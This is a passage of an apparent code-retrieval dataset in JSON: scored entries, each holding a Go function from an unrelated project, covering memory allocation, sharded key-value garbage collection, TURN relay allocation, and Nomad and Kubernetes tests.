{\n\t\t\t\tseekSlashingProof(block)\n\t\t\t}\n\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tblockDataMap[block.Hash] = blockData{accTxs, fundsTxs, configTxs, stakeTxs, block}\n\t\t\tif err := validateState(blockDataMap[block.Hash]); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tpostValidate(blockDataMap[block.Hash], initialSetup)\n\t\t\tlogger.Printf(\"Validated block (after rollback): %x\", block.Hash[0:8])\n\t\t}\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "bed3a11fdcfcb6f9f191bfae39e483a8", "score": "0.43764147", "text": "func checkDBStat(t *testing.T) {\n\tassert.Equal(t, 0, testDB.Stats().OpenConnections, \"possible connection leak\")\n}", "title": "" }, { "docid": "3c837377219370f38b24e63ef5b835c8", "score": "0.4376359", "text": "func Xsqlite3_memory_alarm(tls *libc.TLS, xCallback uintptr, pArg uintptr, iThreshold Sqlite3_int64) int32 {\n\t_ = xCallback\n\t_ = pArg\n\t_ = iThreshold\n\treturn SQLITE_OK\n}", "title": "" }, { "docid": "b70ebc5c2ffa87dbfa81d6c083a013d7", "score": "0.43742722", "text": "func (kv *ShardKV) tryGC() {\n\t_, isLeader := kv.rf.GetState()\n\tkv.mu.Lock()\n\tif !isLeader || len(kv.garbages) == 0 {\n\t\tkv.mu.Unlock()\n\t\treturn\n\t}\n\tvar wait sync.WaitGroup\n\tfor cfgNum, shards := range kv.garbages {\n\t\tfor shard := range shards {\n\t\t\twait.Add(1)\n\t\t\tgo func(shard int, cfg shardmaster.Config) {\n\t\t\t\tdefer wait.Done()\n\t\t\t\targs := MigrateArgs{\n\t\t\t\t\tShard: shard,\n\t\t\t\t\tConfigNum: cfg.Num,\n\t\t\t\t}\n\t\t\t\tgid := cfg.Shards[shard]\n\t\t\t\tfor _, server := range cfg.Groups[gid] {\n\t\t\t\t\tsrv := kv.make_end(server)\n\t\t\t\t\treply := MigrateReply{}\n\t\t\t\t\tif ok := srv.Call(\"ShardKV.GarbageCollection\", &args, &reply); ok && reply.Err == OK {\n\t\t\t\t\t\tkv.mu.Lock()\n\t\t\t\t\t\t// Delete the mark for garbage for this shard and\n\t\t\t\t\t\t// this configuration (shard migration from the owner\n\t\t\t\t\t\t// in this configuration).\n\t\t\t\t\t\tdelete(kv.garbages[cfgNum], shard)\n\t\t\t\t\t\tif len(kv.garbages[cfgNum]) == 0 {\n\t\t\t\t\t\t\tdelete(kv.garbages, cfgNum)\n\t\t\t\t\t\t}\n\t\t\t\t\t\tkv.mu.Unlock()\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}(shard, kv.mck.Query(cfgNum))\n\t\t}\n\t}\n\tkv.mu.Unlock()\n\twait.Wait()\n}", "title": "" }, { "docid": "c38710ff32c193ea4aade06f7502b9d9", "score": "0.43705308", "text": "func (msa *minerStateAPI) StateGetAllocations(ctx context.Context, clientAddr address.Address, tsk types.TipSetKey) (map[types.AllocationId]types.Allocation, error) {\n\tidAddr, err := msa.ChainSubmodule.API().StateLookupID(ctx, clientAddr, tsk)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t_, view, err := msa.Stmgr.ParentStateViewTsk(ctx, tsk)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"Stmgr.ParentStateViewTsk failed:%v\", err)\n\t}\n\n\tst, err := view.LoadVerifregActor(ctx)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to load miner actor state: %v\", err)\n\t}\n\n\tallocations, err := st.GetAllocations(idAddr)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"getting allocations: %w\", err)\n\t}\n\n\treturn allocations, nil\n}", "title": "" }, { "docid": "a307dcd12abde09fec302782dca160aa", "score": "0.43564177", "text": "func TestReconciler_FailedDeployment_PlacementLost(t *testing.T) {\n\tjob := mock.Job()\n\tjob.TaskGroups[0].Update = noCanaryUpdate\n\n\t// Create an existing failed deployment that has some placed allocs\n\td := structs.NewDeployment(job)\n\td.Status = structs.DeploymentStatusFailed\n\td.TaskGroups[job.TaskGroups[0].Name] = &structs.DeploymentState{\n\t\tPromoted: true,\n\t\tDesiredTotal: 10,\n\t\tPlacedAllocs: 4,\n\t}\n\n\t// Create 6 allocations from the old job\n\tvar allocs []*structs.Allocation\n\tfor i := 4; i < 10; i++ {\n\t\talloc := mock.Alloc()\n\t\talloc.Job = job\n\t\talloc.JobID = job.ID\n\t\talloc.NodeID = uuid.Generate()\n\t\talloc.Name = structs.AllocName(job.ID, job.TaskGroups[0].Name, uint(i))\n\t\talloc.TaskGroup = job.TaskGroups[0].Name\n\t\tallocs = append(allocs, alloc)\n\t}\n\n\t// Create the healthy replacements\n\thandled := make(map[string]allocUpdateType)\n\tfor i := 0; i < 4; i++ {\n\t\tnew := mock.Alloc()\n\t\tnew.Job = job\n\t\tnew.JobID = job.ID\n\t\tnew.NodeID = uuid.Generate()\n\t\tnew.Name = structs.AllocName(job.ID, job.TaskGroups[0].Name, uint(i))\n\t\tnew.TaskGroup = job.TaskGroups[0].Name\n\t\tnew.DeploymentID = d.ID\n\t\tnew.DeploymentStatus = &structs.AllocDeploymentStatus{\n\t\t\tHealthy: helper.BoolToPtr(true),\n\t\t}\n\t\tallocs = append(allocs, new)\n\t\thandled[new.ID] = allocUpdateFnIgnore\n\t}\n\n\t// Build a map of tainted nodes\n\ttainted := make(map[string]*structs.Node, 2)\n\tfor i := 0; i < 2; i++ {\n\t\tn := mock.Node()\n\t\tn.ID = allocs[6+i].NodeID\n\t\tif i == 0 {\n\t\t\tn.Status = structs.NodeStatusDown\n\t\t} else {\n\t\t\tn.Drain = true\n\t\t\tallocs[6+i].DesiredTransition.Migrate = helper.BoolToPtr(true)\n\t\t}\n\t\ttainted[n.ID] = n\n\t}\n\n\tmockUpdateFn := allocUpdateFnMock(handled, allocUpdateFnDestructive)\n\treconciler := NewAllocReconciler(testLogger(), mockUpdateFn, false, job.ID, job, d, allocs, tainted, \"\")\n\tr := reconciler.Compute()\n\n\t// Assert the correct results\n\tassertResults(t, r, &resultExpectation{\n\t\tcreateDeployment: nil,\n\t\tdeploymentUpdates: nil,\n\t\tplace: 1, // Only replace the lost node\n\t\tinplace: 0,\n\t\tstop: 2,\n\t\tdesiredTGUpdates: map[string]*structs.DesiredUpdates{\n\t\t\tjob.TaskGroups[0].Name: {\n\t\t\t\tPlace: 1,\n\t\t\t\tStop: 2,\n\t\t\t\tIgnore: 8,\n\t\t\t},\n\t\t},\n\t})\n\n\tassertNamesHaveIndexes(t, intRange(0, 0), placeResultsToNames(r.place))\n\tassertNamesHaveIndexes(t, intRange(0, 1), stopResultsToNames(r.stop))\n}", "title": "" }, { "docid": "ca1ad8424aec383a6374d350fdd6c99f", "score": "0.4350019", "text": "func initializeMemory(blocks []*block) error {\n\t// memory initialized at the start of each block\n\tstatuses := make(map[*block]memStatus)\n\n\t// uninitialized memory used so far\n\tuninitialized := memStatus{}\n\n\tfor _, block := range blocks {\n\t\tstatus := statuses[block]\n\n\t\tfor _, insn := range block.insns {\n\t\t\tinsnUninitialized := memUninitializedReads(insn.Instruction, status)\n\t\t\t// Check no uninitialized scratch registers are read\n\t\t\tfor scratch, uninit := range insnUninitialized.scratch {\n\t\t\t\tif uninit {\n\t\t\t\t\treturn errors.Errorf(\"instruction %v reads potentially uninitialized scratch register M[%d]\", insn, scratch)\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tuninitialized = uninitialized.or(insnUninitialized)\n\t\t\tstatus = status.or(memWrites(insn.Instruction))\n\t\t}\n\n\t\t// update the status of every block this one jumps to\n\t\tfor _, target := range block.jumps {\n\t\t\ttargetStatus, ok := statuses[target]\n\t\t\tif !ok {\n\t\t\t\tstatuses[target] = status\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\t// memory needs to be initialized from every possible path\n\t\t\tstatuses[target] = targetStatus.and(status)\n\t\t}\n\t}\n\n\t// new instructions we need to prepend to initialize uninitialized registers\n\tinitInsns := []instruction{}\n\tfor reg, uninit := range uninitialized.regs {\n\t\tif !uninit {\n\t\t\tcontinue\n\t\t}\n\n\t\tinitInsns = append(initInsns, instruction{\n\t\t\tInstruction: bpf.LoadConstant{\n\t\t\t\tDst: bpf.Register(reg),\n\t\t\t\tVal: 0,\n\t\t\t},\n\t\t})\n\t}\n\tblocks[0].insns = append(initInsns, blocks[0].insns...)\n\treturn nil\n}", "title": "" }, { "docid": "551d595c177bfd5dc7186805e893c17c", "score": "0.4349816", "text": "func TestAllocRunner_Restore_RunningTerminal(t *testing.T) {\n\tci.Parallel(t)\n\n\t// 1. Run task\n\t// 2. Shutdown alloc runner\n\t// 3. Set alloc.desiredstatus=false\n\t// 4. Start new alloc runner\n\t// 5. Assert task and logmon are cleaned up\n\n\talloc := mock.Alloc()\n\talloc.Job.TaskGroups[0].Services = []*structs.Service{\n\t\t{\n\t\t\tName: \"foo\",\n\t\t\tPortLabel: \"8888\",\n\t\t\tProvider: structs.ServiceProviderConsul,\n\t\t},\n\t}\n\ttask := alloc.Job.TaskGroups[0].Tasks[0]\n\ttask.Driver = \"mock_driver\"\n\ttask.Config = map[string]interface{}{\n\t\t\"run_for\": \"1h\",\n\t}\n\n\tconf, cleanup := testAllocRunnerConfig(t, alloc.Copy())\n\tdefer cleanup()\n\n\t// Maintain state for subsequent run\n\tconf.StateDB = state.NewMemDB(conf.Logger)\n\n\t// Start and wait for task to be running\n\tar, err := NewAllocRunner(conf)\n\trequire.NoError(t, err)\n\tgo ar.Run()\n\tdefer destroy(ar)\n\n\ttestutil.WaitForResult(func() (bool, error) {\n\t\ts := ar.AllocState()\n\t\treturn s.ClientStatus == structs.AllocClientStatusRunning, fmt.Errorf(\"expected running, got %s\", s.ClientStatus)\n\t}, func(err error) {\n\t\trequire.NoError(t, err)\n\t})\n\n\t// Shutdown the AR and manually change the state to mimic a crash where\n\t// a stopped alloc update is received, but Nomad crashes before\n\t// stopping the alloc.\n\tar.Shutdown()\n\tselect {\n\tcase <-ar.ShutdownCh():\n\tcase <-time.After(30 * time.Second):\n\t\trequire.Fail(t, \"AR took too long to exit\")\n\t}\n\n\t// Assert logmon is still running. This is a super ugly hack that pulls\n\t// logmon's PID out of its reattach config, but it does properly ensure\n\t// logmon gets cleaned up.\n\tls, _, err := conf.StateDB.GetTaskRunnerState(alloc.ID, task.Name)\n\trequire.NoError(t, err)\n\trequire.NotNil(t, ls)\n\n\tlogmonReattach := struct {\n\t\tPid int\n\t}{}\n\terr = json.Unmarshal([]byte(ls.Hooks[\"logmon\"].Data[\"reattach_config\"]), &logmonReattach)\n\trequire.NoError(t, err)\n\n\tlogmonProc, _ := os.FindProcess(logmonReattach.Pid)\n\trequire.NoError(t, logmonProc.Signal(syscall.Signal(0)))\n\n\t// Fake alloc terminal during Restore()\n\talloc.DesiredStatus = structs.AllocDesiredStatusStop\n\talloc.ModifyIndex++\n\talloc.AllocModifyIndex++\n\n\t// Start a new alloc runner and assert it gets stopped\n\tconf2, cleanup2 := testAllocRunnerConfig(t, alloc)\n\tdefer cleanup2()\n\n\t// Use original statedb to maintain hook state\n\tconf2.StateDB = conf.StateDB\n\n\t// Restore, start, and wait for task to be killed\n\tar2, err := NewAllocRunner(conf2)\n\trequire.NoError(t, err)\n\n\trequire.NoError(t, ar2.Restore())\n\n\tgo ar2.Run()\n\tdefer destroy(ar2)\n\n\tselect {\n\tcase <-ar2.WaitCh():\n\tcase <-time.After(30 * time.Second):\n\t}\n\n\t// Assert logmon was cleaned up\n\trequire.Error(t, logmonProc.Signal(syscall.Signal(0)))\n\n\t// Assert consul was cleaned up:\n\t// 1 removal during prekill\n\t// - removal during exited is de-duped due to prekill\n\t// - removal during stop is de-duped due to prekill\n\t// 1 removal group during stop\n\tconsulOps := conf2.Consul.(*regMock.ServiceRegistrationHandler).GetOps()\n\trequire.Len(t, consulOps, 2)\n\tfor _, op := range consulOps {\n\t\trequire.Equal(t, \"remove\", op.Op)\n\t}\n\n\t// Assert terminated task event was emitted\n\tevents := ar2.AllocState().TaskStates[task.Name].Events\n\trequire.Len(t, events, 4)\n\trequire.Equal(t, events[0].Type, structs.TaskReceived)\n\trequire.Equal(t, events[1].Type, structs.TaskSetup)\n\trequire.Equal(t, events[2].Type, structs.TaskStarted)\n\trequire.Equal(t, events[3].Type, structs.TaskTerminated)\n}", "title": "" }, { "docid": "3bea598595cefc8e5fcda65a4ab91569", "score": "0.4349748", "text": "func (m *Manager) CreateAllocation(fiveTuple *FiveTuple, turnSocket net.PacketConn, requestedPort int, lifetime time.Duration) (*Allocation, error) {\n\tswitch {\n\tcase fiveTuple == nil:\n\t\treturn nil, fmt.Errorf(\"allocations must not be created with nil FivTuple\")\n\tcase fiveTuple.SrcAddr == nil:\n\t\treturn nil, fmt.Errorf(\"allocations must not be created with nil FiveTuple.SrcAddr\")\n\tcase fiveTuple.DstAddr == nil:\n\t\treturn nil, fmt.Errorf(\"allocations must not be created with nil FiveTuple.DstAddr\")\n\tcase turnSocket == nil:\n\t\treturn nil, fmt.Errorf(\"allocations must not be created with nil turnSocket\")\n\tcase lifetime == 0:\n\t\treturn nil, fmt.Errorf(\"allocations must not be created with a lifetime of 0\")\n\t}\n\n\tif a := m.GetAllocation(fiveTuple); a != nil {\n\t\treturn nil, fmt.Errorf(\"allocation attempt created with duplicate FiveTuple %v\", fiveTuple)\n\t}\n\ta := NewAllocation(turnSocket, fiveTuple, m.log)\n\n\tswitch fiveTuple.Protocol {\n\tcase UDP:\n\t\tconn, relayAddr, err := m.allocatePacketConn(\"udp4\", requestedPort)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\ta.RelaySocket = conn\n\t\ta.RelayAddr = relayAddr\n\n\t\tm.log.Debugf(\"listening on relay addr: %s\", a.RelayAddr.String())\n\n\t\ta.lifetimeTimer = time.AfterFunc(lifetime, func() {\n\t\t\tm.DeleteAllocation(a.fiveTuple)\n\t\t})\n\n\t\tm.lock.Lock()\n\t\tm.allocations[fiveTuple.Fingerprint()] = a\n\t\tm.lock.Unlock()\n\n\t\tgo a.packetHandler(m)\n\tcase TCP:\n\t\tlistener, relayAddr, err := m.allocateConn(\"tcp4\", requestedPort)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\ta.RelayListener = listener\n\t\ta.RelayAddr = relayAddr\n\n\t\tm.log.Debugf(\"listening on relay addr: %s\", a.RelayAddr.String())\n\n\t\ta.lifetimeTimer = time.AfterFunc(lifetime, func() {\n\t\t\tm.DeleteAllocation(a.fiveTuple)\n\t\t})\n\n\t\tm.lock.Lock()\n\t\tm.allocations[fiveTuple.Fingerprint()] = a\n\t\tm.lock.Unlock()\n\n\t\tgo a.listenHandler(m)\n\t}\n\n\treturn a, nil\n}", "title": "" }, { "docid": "49e4df1c9ed5e48e113c1eca020e3e81", "score": "0.4346923", "text": "func (a *Sync) AllocZeroed(size uintptr) uintptr {\n\ta.Lock()\n\tdefer a.Unlock()\n\treturn a.a.AllocZeroed(size)\n}", "title": "" }, { "docid": "7a7cb5ee447643cfede3cbbc894b2210", "score": "0.434646", "text": "func (g Lock) Check() error {\n\tif !DebugGoroutines {\n\t\treturn nil\n\t}\n\tif ID() != uint64(g) {\n\t\treturn errors.New(\"running on the wrong goroutine\")\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "1d583ed568dbb294b0577987af61e72b", "score": "0.43409792", "text": "func TryMalloc0(nBytes uint64) uintptr {\n\tc_n_bytes := (C.gsize)(nBytes)\n\n\tretC := C.g_try_malloc0(c_n_bytes)\n\tretGo := (uintptr)(unsafe.Pointer(retC))\n\n\treturn retGo\n}", "title": "" }, { "docid": "3bb43627992f7e3bde2a379269327a28", "score": "0.43350843", "text": "func Xsqlite3_release_memory(tls *crt.TLS, _n int32) (r int32) {\n\treturn int32(0)\n}", "title": "" }, { "docid": "57537c17615d5f0fa10f2f326a8d765b", "score": "0.43286702", "text": "func testRecycleFailures(t *testing.T, recycler *PersistentVolumeRecycler, mockClient *mockBinderClient, pv *api.PersistentVolume, count int) {\n\tfor i := 1; i <= count; i++ {\n\t\terr := recycler.reclaimVolume(pv)\n\t\tif err != nil {\n\t\t\tt.Errorf(\"STEP %d: Recycler faled: %v\", i, err)\n\t\t}\n\n\t\t// Check the status, it should be failed\n\t\tif mockClient.volume.Status.Phase != api.VolumeReleased {\n\t\t\tt.Errorf(\"STEP %d: The volume should be Released, but is %s instead\", i, mockClient.volume.Status.Phase)\n\t\t}\n\n\t\t// Check the failed volume cache\n\t\tstatus, found := recycler.releasedVolumes[pv.Name]\n\t\tif !found {\n\t\t\tt.Errorf(\"STEP %d: cannot find released volume status\", i)\n\t\t}\n\t\tif status.retryCount != i {\n\t\t\tt.Errorf(\"STEP %d: Expected nr. of attempts to be %d, got %d\", i, i, status.retryCount)\n\t\t}\n\n\t\t// call reclaimVolume too early, it should not increment the retryCount\n\t\ttime.Sleep(mySyncPeriod / 2)\n\t\terr = recycler.reclaimVolume(pv)\n\t\tif err != nil {\n\t\t\tt.Errorf(\"STEP %d: Recycler failed: %v\", i, err)\n\t\t}\n\n\t\tstatus, found = recycler.releasedVolumes[pv.Name]\n\t\tif !found {\n\t\t\tt.Errorf(\"STEP %d: cannot find released volume status\", i)\n\t\t}\n\t\tif status.retryCount != i {\n\t\t\tt.Errorf(\"STEP %d: Expected nr. of attempts to be %d, got %d\", i, i, status.retryCount)\n\t\t}\n\n\t\t// Call the next reclaimVolume() after full pvRecycleRetryPeriod\n\t\ttime.Sleep(mySyncPeriod / 2)\n\t}\n}", "title": "" }, { "docid": "6f9fe7c8a9a710ec847bb999124ba3da", "score": "0.43250224", "text": "func Alloc(size int) []byte {\n\tzeros := powerOf2(size)\n\tb := *pools[zeros].Get().(*[]byte)\n\tif cap(b) < size {\n\t\tpanic(fmt.Sprintf(\"%d < %d\", cap(b), size))\n\t}\n\tatomic.AddInt64(&used, int64(cap(b)))\n\treturn b[:size]\n}", "title": "" }, { "docid": "60a5c2b8370c4bc62953d477bec769e1", "score": "0.43242285", "text": "func _1840sqlite3WalHeapMemory(tls *crt.TLS, _pWal uintptr /* *TWal */) (r int32) {\n\treturn bool2int((_pWal != 0) && (int32(*(*Tu8)(unsafe.Pointer(_pWal + 43))) == int32(2)))\n}", "title": "" }, { "docid": "e7a5decf09e12dde8cb9eb12108663ac", "score": "0.4317509", "text": "func TestGarbageCollection(t *testing.T) {\n\t_ = Pointer(new(int)).(*int)\n\truntime.GC() // manually verified via coverage inspection; finalizer should have run\n}", "title": "" }, { "docid": "d617266be15983f1a98e450e8a72d5ca", "score": "0.43150663", "text": "func (_mr *MockOptionsMockRecorder) DatabaseBlockAllocSize() *gomock.Call {\n\treturn _mr.mock.ctrl.RecordCallWithMethodType(_mr.mock, \"DatabaseBlockAllocSize\", reflect.TypeOf((*MockOptions)(nil).DatabaseBlockAllocSize))\n}", "title": "" }, { "docid": "9b78a268580907ba05b0112ede361319", "score": "0.43138286", "text": "func (b *messageBuffer) ensureSufficientFreeSpace(amount int) {\n\tif b.buffer.Free() < amount {\n\t\tpanic(\"buffer not guaranteed to have sufficient free space\")\n\t}\n}", "title": "" }, { "docid": "5f1f9aefa5d1601e09c0e619a68c4219", "score": "0.4312629", "text": "func (_m *MockOptions) DatabaseBlockAllocSize() int {\n\tret := _m.ctrl.Call(_m, \"DatabaseBlockAllocSize\")\n\tret0, _ := ret[0].(int)\n\treturn ret0\n}", "title": "" }, { "docid": "b5094711dc8165a23854d84895285e81", "score": "0.4309879", "text": "func verifySizeofMap(t *testing.T, rm Manager, storeLength, nsLength int) {\n\trms := rm.(*watchManager)\n\tassert.Equal(t, storeLength, len(rms.stores), \"Store length does not match\")\n\tassert.Equal(t, nsLength, len(rms.namespaces), \"Namespace length does not match\")\n}", "title": "" }, { "docid": "fcb2ce09c4aee238a8b804a118c1764b", "score": "0.43095902", "text": "func (alloc *memoryAllocator) Alloc(tableID int64) (int64, error) {\n\tif tableID == 0 {\n\t\treturn 0, errInvalidTableID.Gen(\"Invalid tableID\")\n\t}\n\talloc.mu.Lock()\n\tdefer alloc.mu.Unlock()\n\tif alloc.base == alloc.end { // step\n\t\tmemIDLock.Lock()\n\t\tmemID = memID + step\n\t\talloc.end = memID\n\t\talloc.base = alloc.end - step\n\t\tmemIDLock.Unlock()\n\t}\n\talloc.base++\n\treturn alloc.base, nil\n}", "title": "" }, { "docid": "408870f157fada1448dcc6df3f4a52ad", "score": "0.43083146", "text": "func validateChangedMemoryFlags(drvName string) {\n\tif driver.IsKIC(drvName) && !oci.HasMemoryCgroup() {\n\t\tout.WarningT(\"Your cgroup does not allow setting memory.\")\n\t\tout.Infof(\"More information: https://docs.docker.com/engine/install/linux-postinstall/#your-kernel-does-not-support-cgroup-swap-limit-capabilities\")\n\t}\n\tif !driver.HasResourceLimits(drvName) {\n\t\tout.WarningT(\"The '{{.name}}' driver does not respect the --memory flag\", out.V{\"name\": drvName})\n\t}\n\tvar req int\n\tvar err error\n\tmemString := viper.GetString(memory)\n\tif memString == constants.MaxResources {\n\t\tsysLimit, containerLimit, err := memoryLimits(drvName)\n\t\tif err != nil {\n\t\t\tklog.Warningf(\"Unable to query memory limits: %+v\", err)\n\t\t}\n\t\treq = noLimitMemory(sysLimit, containerLimit, drvName)\n\t} else {\n\t\treq, err = util.CalculateSizeInMB(memString)\n\t\tif err != nil {\n\t\t\texitIfNotForced(reason.Usage, \"Unable to parse memory '{{.memory}}': {{.error}}\", out.V{\"memory\": memString, \"error\": err})\n\t\t}\n\t}\n\tvalidateRequestedMemorySize(req, drvName)\n}", "title": "" } ]
0a24493ec0960ecb2e05ae7a6b2bae51
IsCode returns true when this delete rules v1 too many requests response a status code equal to that given
[ { "docid": "061ccf8c5055dcd810d3afa0fc1032fc", "score": "0.75422883", "text": "func (o *DeleteRulesV1TooManyRequests) IsCode(code int) bool {\n\treturn code == 429\n}", "title": "" } ]
[ { "docid": "da50eff6c854c6612992896cb93f795f", "score": "0.7634966", "text": "func (o *DeleteEntitiesEntityFidPropertiesCountersPropertyNameOK) IsCode(code int) bool {\n\treturn code == 200\n}", "title": "" }, { "docid": "a01b3040f175739456133b957186803b", "score": "0.76181126", "text": "func (o *DeleteRulesV1OK) IsCode(code int) bool {\n\treturn code == 200\n}", "title": "" }, { "docid": "630099a92b495b02515611d314e45f2e", "score": "0.7518439", "text": "func (o *PerformDeviceControlPoliciesActionTooManyRequests) IsCode(code int) bool {\n\treturn code == 429\n}", "title": "" }, { "docid": "7adda39e90e837563ae321c18fdcc19b", "score": "0.75039756", "text": "func (o *RTRCheckCommandStatusTooManyRequests) IsCode(code int) bool {\n\treturn code == 429\n}", "title": "" }, { "docid": "2ad890d9d41d73e34908cc9696a734e7", "score": "0.74947494", "text": "func (o *SnmpTraphostsDeleteOK) IsCode(code int) bool {\n\treturn code == 200\n}", "title": "" }, { "docid": "615d38acf5236be3e28f7527221292d7", "score": "0.7484476", "text": "func (o *QuotaRuleCollectionGetOK) IsCode(code int) bool {\n\treturn code == 200\n}", "title": "" }, { "docid": "5ff57981fa7d57a5ecaf916511b80953", "score": "0.74472195", "text": "func (o *DeleteSampleV2TooManyRequests) IsCode(code int) bool {\n\treturn code == 429\n}", "title": "" }, { "docid": "a3cbf7152917cc35fe65f2710c793ebe", "score": "0.74331313", "text": "func (o *GetAzureInstallScriptTooManyRequests) IsCode(code int) bool {\n\treturn code == 429\n}", "title": "" }, { "docid": "868028502ae46c32a8ae02a372e73245", "score": "0.7431528", "text": "func (o *DeleteEntitiesEntityFidPropertiesCountersPropertyNameDefault) IsCode(code int) bool {\n\treturn o._statusCode == code\n}", "title": "" }, { "docid": "73c1a1a4fe1d46bfe574ea43e6b49dcb", "score": "0.7431322", "text": "func (o *FpolicyPolicyDeleteOK) IsCode(code int) bool {\n\treturn code == 200\n}", "title": "" }, { "docid": "07779bdb5ba4fa4de060fee9a24a33c7", "score": "0.7423279", "text": "func (o *RTRCheckActiveResponderCommandStatusTooManyRequests) IsCode(code int) bool {\n\treturn code == 429\n}", "title": "" }, { "docid": "7530ee053b70899881db66748e644581", "score": "0.74153584", "text": "func (o *ConsistencyGroupDeleteOK) IsCode(code int) bool {\n\treturn code == 200\n}", "title": "" }, { "docid": "bac5393967b80e9fa8459388aa71079a", "score": "0.73880315", "text": "func (o *TenantsDeleteOK) IsCode(code int) bool {\n\treturn code == 200\n}", "title": "" }, { "docid": "66567f3087fab206bdf0b0add82d1cda", "score": "0.73864263", "text": "func (o *DeleteDockerRegistryEventByIDUsingDELETEOK) IsCode(code int) bool {\n\treturn code == 200\n}", "title": "" }, { "docid": "ba5b67a01b9d0ad897d0a426bd1edaa7", "score": "0.7372871", "text": "func (o *QueryQuarantineFilesTooManyRequests) IsCode(code int) bool {\n\treturn code == 429\n}", "title": "" }, { "docid": "1445ca9f012411b6e1261e4729f3b90b", "score": "0.73544097", "text": "func (o *SchemaObjectsDeleteOK) IsCode(code int) bool {\n\treturn code == 200\n}", "title": "" }, { "docid": "fb6244369d62e4a82507c735793d9d2a", "score": "0.73480797", "text": "func (o *DeleteAWSAccountsMixin0TooManyRequests) IsCode(code int) bool {\n\treturn code == 429\n}", "title": "" }, { "docid": "448ffd85d5f16a10f9f49244f8ad0fff", "score": "0.734281", "text": "func (o *RTRGetPutFilesV2TooManyRequests) IsCode(code int) bool {\n\treturn code == 429\n}", "title": "" }, { "docid": "9a718070e56aa3532ff6e0023d4173b1", "score": "0.7327243", "text": "func (o *QueryHostsTooManyRequests) IsCode(code int) bool {\n\treturn code == 429\n}", "title": "" }, { "docid": "23aa928eab6ab51e03d10d3b628961bd", "score": "0.7321023", "text": "func (o *DeleteRulesV1BadRequest) IsCode(code int) bool {\n\treturn code == 400\n}", "title": "" }, { "docid": "838cc9b4f4a9e9da2e9ddf1575d3365f", "score": "0.73134494", "text": "func (o *ExtractionCreateV1TooManyRequests) IsCode(code int) bool {\n\treturn code == 429\n}", "title": "" }, { "docid": "0b13896773c788fe86de32e383d31fbe", "score": "0.731251", "text": "func (o *AggregateRulesTooManyRequests) IsCode(code int) bool {\n\treturn code == 429\n}", "title": "" }, { "docid": "9a2d0798a95766621908b378a73e423c", "score": "0.7309246", "text": "func (o *RoleDeleteOK) IsCode(code int) bool {\n\treturn code == 200\n}", "title": "" }, { "docid": "dbc4f47316f024eefafaac847a1d70b1", "score": "0.7307581", "text": "func (o *QueryDeviceControlPoliciesTooManyRequests) IsCode(code int) bool {\n\treturn code == 429\n}", "title": "" }, { "docid": "df08931b0003656d32b87a65e328a1a3", "score": "0.72691137", "text": "func (o *DcimDevicesBulkDeleteDefault) IsCode(code int) bool {\n\treturn o._statusCode == code\n}", "title": "" }, { "docid": "019276d065ad192bf09bde7c604c2d14", "score": "0.7242137", "text": "func (o *UpdateCSPMPolicySettingsTooManyRequests) IsCode(code int) bool {\n\treturn code == 429\n}", "title": "" }, { "docid": "72d1c1a34ee78e8e2e099730aa4cfb11", "score": "0.72420716", "text": "func (o *GetNetworkDomainsOK) IsCode(code int) bool {\n\treturn code == 200\n}", "title": "" }, { "docid": "896216a15fe51b5986f6a5746ba4f284", "score": "0.72388786", "text": "func (o *SchemaObjectsDeleteBadRequest) IsCode(code int) bool {\n\treturn code == 400\n}", "title": "" }, { "docid": "24dc2eb76dc70403724dc4349b89a198", "score": "0.7236833", "text": "func (o *GetCaseEntitiesByIDsTooManyRequests) IsCode(code int) bool {\n\treturn code == 429\n}", "title": "" }, { "docid": "d30ae9df0f7164c79a1738f1fc58d701", "score": "0.72335553", "text": "func (o *DeleteZoneUsingDELETEOK) IsCode(code int) bool {\n\treturn code == 200\n}", "title": "" }, { "docid": "a4a0955c16e0e416c2e4b98471aefad2", "score": "0.7225882", "text": "func (o *GetAggregateFilesTooManyRequests) IsCode(code int) bool {\n\treturn code == 429\n}", "title": "" }, { "docid": "53129a110b6c9c00ac1c74c82a9640e6", "score": "0.721023", "text": "func (o *DeleteAWSAccountsMixin0BadRequest) IsCode(code int) bool {\n\treturn code == 400\n}", "title": "" }, { "docid": "8b754f1450a4cbd69b095818618efbb2", "score": "0.72063786", "text": "func (o *DeleteRulesV1Unauthorized) IsCode(code int) bool {\n\treturn code == 401\n}", "title": "" }, { "docid": "ee345c79b891f2153b62c62d2026d8e6", "score": "0.71996933", "text": "func (o *RTRUpdateScriptsTooManyRequests) IsCode(code int) bool {\n\treturn code == 429\n}", "title": "" }, { "docid": "bfb1ec95ad98fcb5c84fcde7654bf817", "score": "0.71920604", "text": "func (o *QueryDeviceControlPoliciesBadRequest) IsCode(code int) bool {\n\treturn code == 400\n}", "title": "" }, { "docid": "f0eab4918de1bf4aa387517858deffbc", "score": "0.7184791", "text": "func (o *IpamL2vpnTerminationsListOK) IsCode(code int) bool {\n\treturn code == 200\n}", "title": "" }, { "docid": "12b1b3ebc3ef3ec4305a47a86b99a57d", "score": "0.71830523", "text": "func (o *CreateUserGroupsTooManyRequests) IsCode(code int) bool {\n\treturn code == 429\n}", "title": "" }, { "docid": "dfd520e1475aeb168a4077dce508372f", "score": "0.7182613", "text": "func (o *PerformDeviceControlPoliciesActionOK) IsCode(code int) bool {\n\treturn code == 200\n}", "title": "" }, { "docid": "e126d2563a562e9b579a105cddd74721", "score": "0.7182285", "text": "func (o *DeleteDockerRegistryEventByIDUsingDELETEInternalServerError) IsCode(code int) bool {\n\treturn code == 500\n}", "title": "" }, { "docid": "7e69fdfe41dbc6ecff8fd57e1c8f35ec", "score": "0.7175397", "text": "func (o *QueryDeviceControlPoliciesOK) IsCode(code int) bool {\n\treturn code == 200\n}", "title": "" }, { "docid": "8265d47905a900ed08248cef0dec7a33", "score": "0.7165778", "text": "func (o 